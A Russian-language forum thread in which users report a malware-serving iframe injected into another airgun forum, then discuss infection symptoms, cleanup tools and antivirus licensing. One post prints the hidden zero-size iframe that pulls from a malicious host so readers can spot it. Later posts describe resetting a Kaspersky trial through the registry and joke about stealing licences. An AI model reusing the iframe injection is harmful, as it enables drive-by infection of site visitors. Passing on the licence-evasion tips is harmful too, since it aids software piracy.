Вирус!

Evgeniy R
На сайте Эдган точнее на форуме есть вирусяга!!! Так что у кого нет файрвола можите прилипнуть.
никитос
Только что оттуда. Аваст молчит.
Gin.ru
Есть такое дело. Висит скрытый фрейм. Браузер ломится на script-meta09.com и качает оттуда пакость. Фу-ууу админам эганского форума...
Gin.ru
никитос
Аваст молчит.

У меня KIS орёт, что идёт обращение к -http://script-meta09.com/index/aHere.class, который содержит Trojan-Downloader.Java.Agent.ab

Эдуард
Все пофиксено еще вчера было.
Gin.ru
Значит после этого опять инфицировали форум
Fake
Вот, похоже, из-за этого я вчера и занимался форматированием всех своих винтов на компе. Подцепил такую срань, что ни в сказке сказать, ни пером описать. Пля.
mavic
Почистили уже? а то у меня лицензия на антивирь кончилась.
Gin.ru
mavic
Почистили уже?
нет. Легко убедиться 😀
Откройте исходный текст центральной страницы форума (в IE меню "Вид"-> Просмотр HTML-кода). Если на предпоследней строке увидите что-то типа

«iframe rsqdf='QmW7cFUR' src='http://mobi-sripts.com/s/in.cgi?6 ' ulmnu='JjfHev5B' width='0' height='0' style='display:none'»«/iframe»

значит пакость там. На момент, когда пишу эти строки - так и есть :<

Эйнштейн
Протестил без фаервола, аваст поругался на один троян и один адэвэйр, но пропустил ещё два трояна.. Эти падлы заблокировали инет (через фаервол, кстати) и модифицировали некоторые драйвера от явы и звука. Лечится КьюрИтом из под АВЗгварда нормально, Но потом этим же авз надо проверить все библиотеки и дрова на подозрительные.
Fake
Я словил какую-то гадость, которая вывесила поверх всех окон порнуху, которую назвала рекламной заставкой и предложила отправить СМС на номер 3649.
Заблокировала прописанный антивирус (Avira Anrivir), прописанную Оперу (ИЕ работал), квип.
Так же, заблокировала доступ к Диспетчеру файлов (ни три кнопки, ни вызов через коммандную строку не работали). Запущенные с флешки проги для просмотра запущенных процессов отрубались на лету (закрывались после открытия), запущенный с флешки антивирус успел только частично проверить комп, потом перезагрузка. Безопасный режим просто не грузится. Попытался прогрузится с сидюка с ДрВебом под линухом, не получилось. Толи руки кривы, толи еще что. Погоревал, погоревал и форматнул оба харда нахрен.
Раньше подобную хрень видел как надстройку к браузеру, а тут она самостоятельная стала. Работает независимо от всего.
Уррроды...
Эйнштейн
Fake, уж не cmedia ли ты поймал? или fieryads.. У меня недавно такое было, обошелся меньшей кровью, в компьютерной ветке писал. Без avz все антивирусы бесполезны..
Fake
Эйнштейн
Fake, уж не cmedia ли ты поймал? или fieryads.. У меня недавно такое было, обошелся меньшей кровью, в компьютерной ветке писал. Без avz все антивирусы бесполезны..

Вот как раз AVZ оно и отлупляло но половине работы.

Эйнштейн
Если включать AVZguard, то ничего вирус возразить уже не сможет
Fake
Эйнштейн
Если включать AVZguard, то ничего вирус возразить уже не сможет
А как его подключить? У меня эта закладка не активна. Скачал другую версию AVZ, та же история.

PS Вопрос отпал. Под ХР все работает.

Эйнштейн
хз, версия 4.32, всё активно. Потом нужно выбрать второй пункт этого меню и оттуда запустить cureit
Fake
Я его воткнул на старый ноут с МЕ. Под МЕ эти две закладки не активны.
Эйнштейн
ну дык 😊 хр и милениум слишком разные просто, там другая версия проги требуется
unnamed13
А на какие браузеры эта дрянь садиццо? Я вчера заходил с w7 через ff3.5.5 - не заметил ничего необычного. Из плагинов у меня только adblock+. За ie8 + smartscreen не скажу, но вроде чисто.

За линукс с ff/opera/chrome я спокоен, винда на еее живет второй ос. Отпишитесь кто чем поймал.

Fake
У меня она сидела не на браузере. Включил комп, кликнул на антивирус и тут тебе окно на 2/3 экрана с порнухой и предлжением отправить СМС.

ЗЫ Винда ХР, Опера 10, Avira Antivir

miksa
Вот тады мне объясните юзеру: ХР, Касперский, захожу на форум часто, очень часто. За прошедшие дни Каспер ни разу не руганулся! Окон, со всякой хренью не всплывало, тока комп стал слегка подтормаживать одно время, но в данный момент вроде всё нормально.
Полные проверки через Касперского делал - попросил удалить Куип (асю). Вирусняк, что выборочно приходит или он есть, тока я его не ощущаю? 😞
unnamed13
Видимо эта херь лезет если обновления не ставишь - типа дыры в системе.
У меня всё патченое-перепатченое - форточке лицензионно расово чистые.
Эйнштейн
У меня всё рассово русское 😀, скажите, форум уже переустановили? Ачкую заходить..
unnamed13
29 обещались переустановить.
Gin.ru
Эйнштейн
форум уже переустановили? Ачкую заходить..

не боись. Усё починили уже 😊

Neznajka
да, у меня тоже оттуда залез этот вирус.
вылезла хня какая то с просьбой прислать смс.
еле вычистил НОД32 с перезагрузкой и установкой даты на год назад.
теперь намано всё, но иногда броузер срубаеться.

в диспетчере висел как винагент вроде.

Эйнштейн
Какбэ.. они снова лезут. win32.hllw.shadow.based & trojan.packed.16593
dizel-xp
Касперский ничего не выявлял, ни чего не вылазит. Люблю Каспера 😊
Drivovich
Вообще неплохо иногда проверять свой комп целиком какой ньть прогой типа CureIt! от Dr. Web или Virus removal tool От каспера. Желательно делать это в "SAFE MODE", а ещё лучше грузя систему с диска типа BARTPE или аналогичного LIVE CD. И не забываем обновлять систему - дыр в Винде ещё полным полно, если винда "серая", то качать обвновления можно отсюда - http://forum.oszone.net/thread-145420.html Удачи !
Exp10iT
dizel-xp
Касперский ничего не выявлял, ни чего не вылазит. Люблю Каспера 😊

-Видишь Суслика?
-Нет.
-И я нет, а он есть. 😛

DiXXX
никитос
Только что оттуда. Аваст молчит.

У меня стоял аваст. А потом была бессонная ночь... Теперь стоит Кашпирофский ИС 2010, и много чего интересного повылезало 😀 https://guns.allzip.org/topic/169/567474.html Только STALKER стал подтормаживать, если антивирус не отключить.

КЕЙДЖ
DiXXX
Только STALKER стал подтормаживать, если антивирус не отключить.
если не через инет играешь то можешь антивирус отключить в сталкера рубанутся, потом опять каспера врубил и полез покорять просторы интернета :-) (а так без него в инет ни ни )
DiXXX
КЕЙДЖ
то можешь антивирус отключить в сталкера рубанутся,
Я так и делаю 😊 Кашпировский- весчь! 1600 только на год жаба душит, а ключ хрен найдешь... Беда-а. 😊
DiXXX
Я тут поизучал немного, если правильно понял каспер продается для установки на два компа. Этот гад собирает сведения о системе и передает при установке Кашпировскому лично 😀. При попытке регистрации третьего компа юзер идет лесом. Это началось в КИС 2010 😞
Шмулевич
Кажый день тот форум посещаю и ничего описанного не обнаружил.
Olegych33
КЕЙДЖ
DiXXX

Ребята, на лицензии каспера можно съэкономить, купив ОБНОВЛЕНИЕ КИС2010 за 960 руб. У меня все без проблем работает 😊

КЕЙДЖ
но уворовать то спортивнее 😀
DiXXX
КЕЙДЖ
но уворовать то спортивнее
+1. Но, похоже, придется покупать...
Olegych33
Ребята, на лицензии каспера можно съэкономить, купив ОБНОВЛЕНИЕ КИС2010 за 960 руб.
Была такая мысль, но на месте Кашпировского я бы такого постарался не допустить. Может обновлялась не пробная тридцатидневная версия, а предыдущая лицензионная?
КЕЙДЖ
а чего пробная версия не обновляется ? если обновляется то можно до бесконечности ставить и удалять, просто постоянно будет напоминать дай деньгу дай 😀
DiXXX
КЕЙДЖ
а чего пробная версия не обновляется ?
Она работает только 30 дней, при этом естественно обновляется и т.д.. Второй раз ее на этот комп не поставить. Сейчас душу жену на 1600р. 😊
Olegych33
DiXXX

Поставил, и при установке указал, что есть ключ. Вообще про обновление сказано только на коробке, внутри обычный диск с дистрибутивом и серийником. И этот вариант мне подсказал знакомый продавец Касперского, ну а я, соответственно, воспользовался и делюсь с остальными. Так что все будет пучком 😊 Не трать лишние бабки 😊

DiXXX
Olegych33
Так что все будет пучком Не трать лишние бабки
Спасибо за наводку 😊. У меня еще есть 26 дней, буду думать.
КЕЙДЖ
DiXXX
Второй раз ее на этот комп не поставить
это почему ещё ? просто она создаёт запись в реестре почистить реестр , найти всё что связано с касперским удалить и вуаля 😊
примерно так
https://guns.allzip.org/topic/84/409966.html
хотя сейчас проги деинстоляторы далеко продвинулись и удаляют всё вместе с ключами( хотя на 10 не пробовал может и не удалит ) , если надо прогу деинстолятор то давай мыло пришлю , деинстолятором виндусовским не пользуюсь уже давно .
P.s чёто уверености у меня поубавилось через 29 дней посмотрим 😀 , а в прогах которые сбрасывают триал и как бы позволяют ставить его снова и снова сидит троян 😞
КЕЙДЖ
отписал в личку 😀
Gribnik78
DiXXX
Я так и делаю 😊 Кашпировский- весчь! 1600 только на год жаба душит, а ключ хрен найдешь... Беда-а. 😊

"Вам презервативы качественные или китайские?...(R) 😛

Тоже много лет жаба душила, но когда за полгода 3 раза переустанавливал из-за вирусни и потерял очень много нужной по работе и просто полезной информации- пристрелилнах эту самую сволочную жабу и купил лЫцензию "КИСу Кошмаровского 2009"(R) и в настройках сразу поставил на автоматическое обновление при каждом подключении... вот уже почти год- ни каких проблем. Скоро С УДОВОЛЬСТВИЕМ заплачу за продление ключа 😛 Это ж копейки по сравнению с ...(каждый думает о своих проблемах). Я на бензин, на покатушки, шашлыки и прочее развлечение- по 1,5-2 тысячи Русских карбованцев в месяц трачу. а тут купил раз и целый год кайфа 😀

Кстати, как бывший пользователь пиратского каспера с непойми какими ключами на месяц а потом в чёрный список; и как нынешний пользователь ЛИЦЕНЗИИ- авторитетно заявляю: пиратка них..... нифига не видит и тормозит машинку сильнее раза в 1,5-2, нежели лицензия! 😛

Зы: сегодня заходил на ЭДганогвский сайт: каспер хрюкнул разок, что, дескать-пресёк попытку прорыва хрен пойми чего на мой комп и больше не квакал 😛 внимания, по привычке не обратил. сейчас по времени посещения и времени фиксации в отчёте каспера сопоставил.

вот чего он там на квакал: Intrusion.Win.MSSQL.worm.Helkern

также этим же вирусом за сегодня зафиксированы ещё 3 попытки проникновения, причём одна с ГАНЗы и два- с левых сайтов к пневме не относящихся. По ходу дела- массовая атака.
далее каспер по умолчанию пресекает.

Так же с ЭДгановского сайта зафиксированы 2 баннера.


КЕЙДЖ
ну если само тело программы скачено с сервера касперского ( не выложено на стороннем ресурсе а следовательно не прошло обработку умными дядями ) и ключ подходит то есть не забанен, он ни чем от лицухи не отличается, это та же самая лицензия , тут либо смирится что рано или поздно придётся менять ключ или покупать лицуху но разницы не будет ,при условии ещё раз повторюсь что дистрибутив проги скачен на оф сайте , а базы касперского надо поставить если лицуха на автоматическое обновление то есть раз в 3 часа , так как вирусы пишут быстрей чем успевают писать лекарство с ним . так что раз в день это мало :-)